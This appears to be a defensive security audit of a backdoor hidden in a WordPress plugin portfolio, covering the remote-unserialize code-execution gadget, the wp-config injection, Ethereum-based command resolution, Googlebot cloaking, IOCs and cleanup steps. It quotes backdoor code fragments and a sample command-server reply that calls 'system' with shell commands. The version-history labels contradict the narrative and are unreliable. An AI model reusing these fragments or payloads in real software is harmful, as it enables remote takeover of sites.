← All audits

Audit #4 Malicious Closed by wp.org · trunk uncleaned

33 affected plugins · 180k+ combined active installs · 33 closed on wp.org · baseline 2.6.6 → head 2.6.9.1 · suspect committer essentialplugin · by austin · closed 10d ago

Actor: "Kris" — Flippa buyer of the WP Online Support / Essential Plugin portfolio (~33 plugins, six figures, early 2025). wp.org account `essentialplugin` (created 2025-05-12). SEO/crypto/gambling marketing background; WHOIS later updated to "Kim Schmidt" Zurich.
Show full summary

Marketplace acquisition of an established 30-plugin portfolio used as a vehicle for a fleet-wide PHP-deserialization RCE backdoor with on-chain C2 resolution.

A buyer identified only as "Kris" purchased the entire Essential Plugin / WP Online Support portfolio (~33 plugins, peak combined install base in the low hundreds of thousands) from original founders Minesh Shah, Anoop Ranawat, and Pratik Jain via Flippa in early 2025 for a six-figure price. The new wp.org committer account essentialplugin was registered 2025-05-12. Their first SVN commit was the backdoor: a 191-line addition to wpos-analytics/includes/class-anylc-admin.php shipped on 2025-08-08 as version 2.6.7 of countdown-timer-ultimate, with the changelog string [*] Check compatibility with WordPress version 6.8.2 reused verbatim across the entire suite over the following months.

The implant sat dormant for ~8 months. On 2026-04-05/06 the operator activated it: every install with the wpos-analytics module enabled fetched a serialized payload from https://analytics.essentialplugin.com/plugin_info/..., deserialized it with @unserialize(), and the version_info_clean() method then executed @$clean($this->version_cache, $this->changelog) — a textbook arbitrary-function-call primitive where the remote response controls callable name and all arguments. The activation payload wrote a stager (wpos-analytics/includes/wp-comments-posts.php, named to mimic core's wp-comments-post.php) which appended ~6 KB of PHP onto the same line as require_once ABSPATH . 'wp-settings.php'; in wp-config.php, surviving plugin uninstall.

The injected wp-config payload is the novel piece. It resolves its current C2 hostname through an Ethereum smart contract — calling public RPC endpoints (Infura, Cloudflare-eth, publicnode, Ankr) with eth_call to read a contract storage slot — so taking down analytics.essentialplugin.com does not stop the chain; the operator just updates the contract. SEO spam is then fetched and prepended to page output, but only when HTTP_USER_AGENT matches Googlebot, so site owners and human visitors see clean pages.

On 2026-04-07 the wordpress.org Plugin Review Team closed every essentialplugin-authored plugin in a single day — 25+ slugs in the queue-drain. On 2026-04-08 they force-pushed v2.6.9.1-class cleanup releases that add early return; stubs in the two phone-home functions (fetch_ver_info, wpos_handle_analytics_request) and an init-hooked unlink of the wp-comments-posts.php stager. The cleanup is declawing, not removal. The full wpos-analytics/ directory still ships in 22 of 33 trunks as of 2026-04-25, including analytics.essentialplugin.com as $analytics_endpoint, the unauthenticated REST route permission_callback => __return_true, and the @unserialize(@file_get_contents($url)) gadget. A revert of the early-return stubs (whether by attacker re-acquisition of access, merge conflict on a future legitimate update, or an unrelated maintainer mistake) instantly re-arms the chain.

The same /bro/3/ C2 path convention later appeared in the 2023 scroll-top PUC update-checker hijack (Audit #12, Benjamin / @milkitall) — same operator across both incidents, or scroll-top's operator working from the EP / anadnet template.

🛑
180k+ installs across 33 plugins are running compromised code right now.

Site owners should remediate immediately. Plugin author: see the steps below to clear this label.

If you run any of these 33 plugins on your site

See the Affected plugins table below for the full slug list. To check whether any are installed across your fleet:

wp plugin list --field=name | grep -E '^(popup\-anything\-on\-click|wp\-logo\-showcase\-responsive\-slider\-slider|countdown\-timer\-ultimate|wp\-responsive\-recent\-post\-slider|sp\-news\-and\-widget|wp\-slick\-slider\-and\-image\-carousel|album\-and\-image\-gallery\-plus\-lightbox|wp\-testimonial\-with\-widget|wp\-blog\-and\-widgets|meta\-slider\-and\-carousel\-with\-lightbox|post\-grid\-and\-filter\-ultimate|timeline\-and\-history\-slider|blog\-designer\-for\-post\-and\-widget|sp\-faq|accordion\-and\-accordion\-slider|wp\-team\-showcase\-and\-slider|wp\-trending\-post\-slider\-and\-widget|featured\-post\-creative|html5\-videogallery\-plus\-player|portfolio\-and\-projects|ticker\-ultimate|wp\-featured\-content\-and\-slider|audio\-player\-with\-playlist\-ultimate|essential\-chat\-support|footer\-mega\-grid\-columns|hero\-banner\-ultimate|maintenance\-mode\-with\-timer|post\-category\-image\-with\-grid\-and\-slider|preloader\-for\-website|product\-categories\-designs\-for\-woocommerce|sliderspack\-all\-in\-one\-image\-sliders|styles\-for\-wp\-pagenavi\-addon|woo\-product\-slider\-and\-carousel\-with\-category)$'

For each match, verify your install against the wp.org canonical and remove if compromised:

wp plugin verify-checksums <slug>
wp plugin deactivate <slug>
wp plugin delete <slug>

Patched builds for the major affected slugs are hosted at plugins.captaincore.io — see the cleanup instructions for site operators below for the full per-plugin URL list.

If you're the plugin author

This is a closed-by-wp.org incident. The label clears for any individual plugin in the suite once its trunk no longer matches the cataloged IOCs.

For the original maintainers (wponlinesupport, anoopranawat) and any future owner of these plugins on wp.org:

  1. Push an SVN commit removing the entire wpos-analytics/ directory from trunk on every plugin in the suite.
  2. Remove the wpos_analytics_anl25_load() loader from each plugin's main PHP file (search for the Plugin Wpos Analytics Data Starts marker comment).
  3. Remove the analytics.essentialplugin.com URL constant and any reference to $analytics_endpoint.
  4. Remove the unauthenticated REST route registration (register_rest_route('<slug>/v1', '/analytics/', [ 'permission_callback' => '__return_true' ])).
  5. Push a new SVN tag for each plugin reflecting the cleanup.
  6. Petition the wordpress.org Plugin Review Team to reopen the plugins, citing this audit and the IOC catalog as the verification source.
  7. The label clears automatically on the next wp beacon scan-deltas once the trunk no longer matches wpos_* / analytics.essentialplugin.com / Wpos_Anylc_Admin / unserialize_after_remote_call.

Note that 11 of the 33 plugins in the suite already have clean trunks (the 0-install slugs — see the Affected plugins table). Those would clear immediately if reopened.

For site operators currently running any plugin in the affected list:

  1. Run grep -lE 'wpos-analytics|analytics\.essentialplugin\.com' wp-content/plugins/*/ across every site to identify infections.
  2. Diff wp-config.php against a known-clean copy. The injected payload appends ~6 KB onto the require_once ABSPATH . 'wp-settings.php'; line. File-size delta vs. backup is the cleanest detector.
  3. Replace any matched plugin with a patched build (see https://plugins.captaincore.io/ for stripped versions of the major slugs) or remove the plugin entirely.
  4. Restore wp-config.php from a pre-2026-04-06 backup.

The label clears automatically on the next wp beacon scan-deltas once the cleanup conditions above are met.

Affected plugins (33)

All plugins covered by this incident report. Combined exposure: 180k+ active installs across 33 slugs.

Plugin Active installs Trunk version wp.org status
Popup Maker and Popup Anything – Popup for opt-ins and Lead Generation Conversions 30k+ 2.9.1.1 Closed on wp.org
WP Logo Showcase Responsive Slider and Carousel 30k+ 3.8.7.1 Closed on wp.org
Countdown Timer Ultimate 20k+ 2.6.9.1 Closed on wp.org
WP Responsive Recent Post Slider/Carousel 20k+ 3.7.1.1 Closed on wp.org
WP News and Scrolling Widgets 10k+ 5.0.6.1 Closed on wp.org
WP Slick Slider and Image Carousel 10k+ 3.7.8.2 Closed on wp.org
Album and Image Gallery Plus Lightbox 9k+ 2.1.8.1 Closed on wp.org
Testimonial Grid and Testimonial Slider plus Carousel with Rotator Widget 9k+ 3.5.6.1 Closed on wp.org
WP Blog and Widgets 8k+ 2.6.6.1 Closed on wp.org
Meta Slider and Carousel with Lightbox 5k+ 2.0.8.1 Closed on wp.org
Post grid and filter ultimate 5k+ 1.7.4.1 Closed on wp.org
Timeline and History slider 5k+ 2.4.5.1 Closed on wp.org
Blog Designer – Post and Widget 4k+ 2.7.7.1 Closed on wp.org
WP responsive FAQ with category plugin 4k+ 3.9.5.1 Closed on wp.org
Accordion and Accordion Slider 2k+ 1.4.6.1 Closed on wp.org
Team Slider and Team Grid Showcase plus Team Carousel 2k+ 2.8.6.1 Closed on wp.org
Trending/Popular Post Slider and Widget 2k+ 1.8.6.1 Closed on wp.org
Featured Post Creative 1k+ 1.5.7.1 Closed on wp.org
Video gallery and Player 1k+ 2.8.7.1 Closed on wp.org
Portfolio and Projects 1k+ 1.5.6.1 Closed on wp.org
Post Ticker Ultimate 1k+ 1.7.6.1 Closed on wp.org
WP Featured Content and Slider 1k+ 1.7.6.1 Closed on wp.org
Audio Player with Playlist Ultimate 1.3.3 Closed on wp.org
Essential Chat Support 1.0.1 Closed on wp.org
Footer Mega Grid Columns – For Legacy / Classic / Old Widget Screen 1.4.3 Closed on wp.org
Hero Banner Ultimate 1.4.6 Closed on wp.org
Maintenance Mode with Timer 1.3 Closed on wp.org
Post Category Image With Grid and Slider 1.5.3 Closed on wp.org
Preloader for Website 1.3.2 Closed on wp.org
Product Categories Designs for WooCommerce 1.5.2 Closed on wp.org
Slider a SlidersPack – Image Slider, Post Slider, ACF Gallery Slider 2.5 Closed on wp.org
Styles For WP Pagenavi Addon – Better design for post pagination 1.2.4 Closed on wp.org
Product Slider and Carousel with Category for WooCommerce 3.0.3 Closed on wp.org

IOCs extracted (15)

Kind Value Confidence
changelog_phrase [*] Check compatibility with WordPress version 6.8.2 medium
code_pattern $analytics_endpoint high
code_pattern fetch_ver_info medium
code_pattern maybe_unserialize(wp_remote_retrieve_body medium
code_pattern Plugin Wpos Analytics Data Starts high
code_pattern Wpos_Anylc_Admin high
code_pattern wpos_get_plugin_version_by_file high
code_pattern wpos_handle_analytics_request high
code_pattern wpos_monthly_cron_hook high
code_pattern wpos_process_monthly_data high
code_pattern wpos_rest_api_init high
domain analytics.essentialplugin.com high
filename wp-comments-posts.php high
url https://analytics.essentialplugin.com high
url_path /v1/analytics/ medium

Plugin version history

Every release on wp.org for this plugin, color-coded by relationship to the incident. wp.org closed this plugin rather than deleting the malicious tags — every Malicious — on wp.org release below is still re-installable today and remains a live exposure for any site running it.

  1. Clean 11 earlier releases before the incident
    • 1.0.0
    • 1.1.2
    • 1.1.4
    • 1.2.5
    • 1.4
    • 2.1
    • 2.6.1
    • 2.6.2
    • 2.6.3
    • 2.6.4
    • 2.6.5
  2. 2.6.6 Last clean Last clean release before incident
  3. 2.6.7 Clean Clean (post-cleanup)
  4. 2.6.8 Clean Clean (post-cleanup)
  5. 2.6.9 Clean Clean (post-cleanup)
  6. 🛑 Compromise window

    wp.org closed this plugin during the compromise window. The malicious tags below remain visible on wp.org and re-installable until each site manually upgrades to the rescue release.

  7. 2.6.9.1 Malicious (head) First malicious release (head of audit)

Audit #4 — Essential Plugin / WP Online Support portfolio

This audit covers the full suite of plugins acquired by "Kris" through Flippa in early 2025 and weaponized via a deserialization-RCE backdoor activated on 2026-04-05/06. The headline plugin attached to this audit is countdown-timer-ultimate (the slug Ricky from Improve & Grow first reported), but the same backdoor module shipped across the entire portfolio. See the Affected plugins table above for the full slug list and per-plugin status.

Acquisition + first commit

  • Original maintainers: Minesh Shah, Anoop Ranawat, Pratik Jain. India-based team operating as "WP Online Support" since 2015 (wponlinesupport.com registered Feb 2015), rebranded to "Essential Plugin" in Aug 2021.
  • Flippa listing: late 2024, after a ~35–45% revenue decline. Public listing; Flippa published a buyer case-study in July 2025.
  • Buyer: "Kris" — background described in the listing as SEO, crypto, and online-gambling marketing. No public WordPress development history.
  • wp.org account creation: essentialplugin registered 2025-05-12.
  • Author header changes: 2025-05-14 → 2025-05-16, the previous wp.org committers (wponlinesupport, anoopranawat) made their last commits on the suite, updating Author headers to point at the new owner.
  • First malicious commit: 2025-08-08, version 2.6.7 of countdown-timer-ultimate. SVN commit message and readme changelog both said [*] Check compatibility with WordPress version 6.8.2. The actual diff added 191 lines to wpos-analytics/includes/class-anylc-admin.php (473 → 664 lines).

The same changelog string was reused across every other plugin in the suite over the following ~6 months. WP Beacon's BulkChangelogReuse rule (Rule #1, shipped 2026-04-24) was designed against this exact corpus — it would have fired with N=20+ plugins in a 14-day window had it existed at the time.

The backdoor module — what shipped in 2.6.7

The added code introduces three primitives in wpos-analytics/includes/class-anylc-admin.php:

1. fetch_ver_info() — calls @file_get_contents($this->analytics_endpoint . '/plugin_info/...') and passes the response into @unserialize($data). Classic PHP Object Injection / arbitrary-class-instantiation gadget; safe only as long as nothing on the install has a vulnerable POP chain — and "nothing on the install" is not a guarantee one can make for a generic plugin shipping to 30k+ sites. 2. version_info_clean() — executes @$clean($this->version_cache, $this->changelog) after $clean, $this->version_cache, and $this->changelog are all populated from the unserialized remote payload. This is direct arbitrary-function-call: the C2 server names the function and supplies both arguments. No POP chain required; a plain reply like { "clean": "system", "version_cache": "id; uname -a", "changelog": "" } is enough. 3. REST endpointregister_rest_route( '<plugin-slug>/v1', '/analytics/', [ 'permission_callback' => '__return_true' ] ). Unauthenticated POST trigger that lets the operator force a fresh fetch_ver_info() cycle without waiting for cron.

WP Beacon detection coverage today (post-2026-04-24 rule shipment):

  • unserialize_after_remote_call builtin pattern fires on fetch_ver_info (proximity check between @file_get_contents and @unserialize within ±20 lines, same file).
  • analytics.essentialplugin.com IOC (domain, confidence=high) — added to wp_wpbeacon_iocs.
  • Wpos_Anylc_Admin, wpos_rest_api_init, wpos_handle_analytics_request, wpos_get_plugin_version_by_file, wpos_process_monthly_data, wpos_monthly_cron_hook, $analytics_endpoint, Plugin Wpos Analytics Data Starts — all IOCs at confidence=high.

Activation 2026-04-05/06

After ~8 months dormant, the operator began returning malicious payloads from the analytics.essentialplugin.com endpoint. Every install that ran the daily wpos_monthly_cron_hook (or received an unauthenticated POST to /wp-json/<slug>/v1/analytics/) fetched the activation chain.

The payload wrote a stager file to wp-content/plugins/<slug>/wpos-analytics/includes/wp-comments-posts.php — note the s after posts, mimicking core's wp-comments-post.php to defeat casual find audits. The stager then injected ~6 KB of PHP into the host site's wp-config.php, appended directly onto the same line as require_once ABSPATH . 'wp-settings.php'; so it does not appear when scrolling the file casually.

Forensic timing on a confirmed-affected site (CaptainCore restic backups, binary search across daily snapshots): wp-config.php went from 3,345 bytes on 2026-04-06 04:22 UTC to 9,540 bytes by 2026-04-07 04:21 UTC. The injection window is bounded between those two timestamps — a 6h44m window for that specific site, roughly synchronous across the global install base.

Novel technique — Ethereum-resolved C2

The injected wp-config payload does not hardcode its current C2 hostname. It calls one of several public Ethereum JSON-RPC endpoints — mainnet.infura.io, cloudflare-eth.com, ethereum.publicnode.com, rpc.ankr.com — using eth_call against a smart contract address, reading the current C2 hostname out of contract storage. The operator can update the contract value without any code push, and every install picks up the new C2 on its next cron tick.

This defeats the standard takedown playbook entirely. analytics.essentialplugin.com going to {"message":"closed"} doesn't end the operation; it just signals which contract slot the operator should update next.

WP Beacon detection: the four RPC hostnames (mainnet.infura.io, cloudflare-eth.com, ethereum.publicnode.com, rpc.ankr.com) are catalogued at confidence=low (broader risk of FPs from legitimate crypto plugins); the method-name strings eth_call, eth_getStorageAt, eth_getCode are catalogued at confidence=high. The CodePattern rule fires critical on any plugin matching the high-confidence variants — true legitimate WP plugins essentially never make Ethereum JSON-RPC calls.

SEO-spam payload + Googlebot cloak

The C2 returns SEO-spam HTML — fake landing pages, payday-loan link clusters, cryptocurrency ad banners. The wp-config injection prepends this content to the_content output, but only when $_SERVER['HTTP_USER_AGENT'] matches googlebot (case-insensitive substring). Site owners and regular visitors see the original page; Google sees the spam, indexes it, and the operator monetizes the parasite ranking.

Detection note: the googlebot_cloak pattern (HTTP_USER_AGENT.*googlebot/i) has been a CodeScanner builtin from the start, but this attack writes the payload to wp-config rather than the plugin source — so a plugin trunk scan won't catch it once it's deployed. Site-side detection requires either grepping the live wp-config.php or making a Googlebot-UA request to the front page and diffing against a normal-UA request.

wp.org response — single-day queue drain

On 2026-04-07 between 22:00 and 23:02 UTC, wp.org committer davidperez (member since 2015-09-17, employer "CLOSE" — a wp.org Plugin Review Team neutral-party admin account) was added as committer to 14 of the suite's plugins in a 1-hour window. Commit messages: "WPORG Plugins Team commit", "WPORG Plugins Team commit fixes", "WPORG Plugins Team fix". 25+ plugins were closed on the same day.

The patches add early return; at the top of wpos_monthly_cron_hook_fn() and wpos_handle_analytics_request() and an init-hooked cleanup function that unlink()s the stager paths. The patches do not remove the wpos-analytics module from disk, do not rewrite the host site's wp-config.php, and do not clear the analytics_endpoint constant. Sites already injected on 2026-04-05/06 remained compromised after the cleanup; the only thing that changed was the freshly-installed-after-2026-04-08 cohort no longer self-propagating.

The "closed but trunk uncleaned" status today: 22 of 33 plugins in the suite still ship the full backdoor source under the early-return stubs (verified 2026-04-25 via wp beacon scan-deltas + wp beacon detect; each fires 10–11 code_pattern critical events). The 11 cleanly-empty trunks are all 0-install legacy slugs.

Cross-incident pattern — /bro/3/

The C2 URL convention <host>/bro/3/<victim-host> matches:

Either the same operator across both prior incidents and EP, or EP's developer/buyer worked from anadnet's source as a code template. The path is now a high-confidence IOC across all three audits — any future hit on /bro/3/ should be treated as an extended-family confirmation.

Watch list — original-author handles still active

  • wponlinesupport — original wp.org account; may still hold non-transferred plugins outside the Flippa sale.
  • anoopranawat — co-committer; same concern.

Both are on the live watch list. Any new commit by either account on a plugin that wasn't in the EP sale, or any new owner change on a plugin currently held by either account, is the activation signal.

References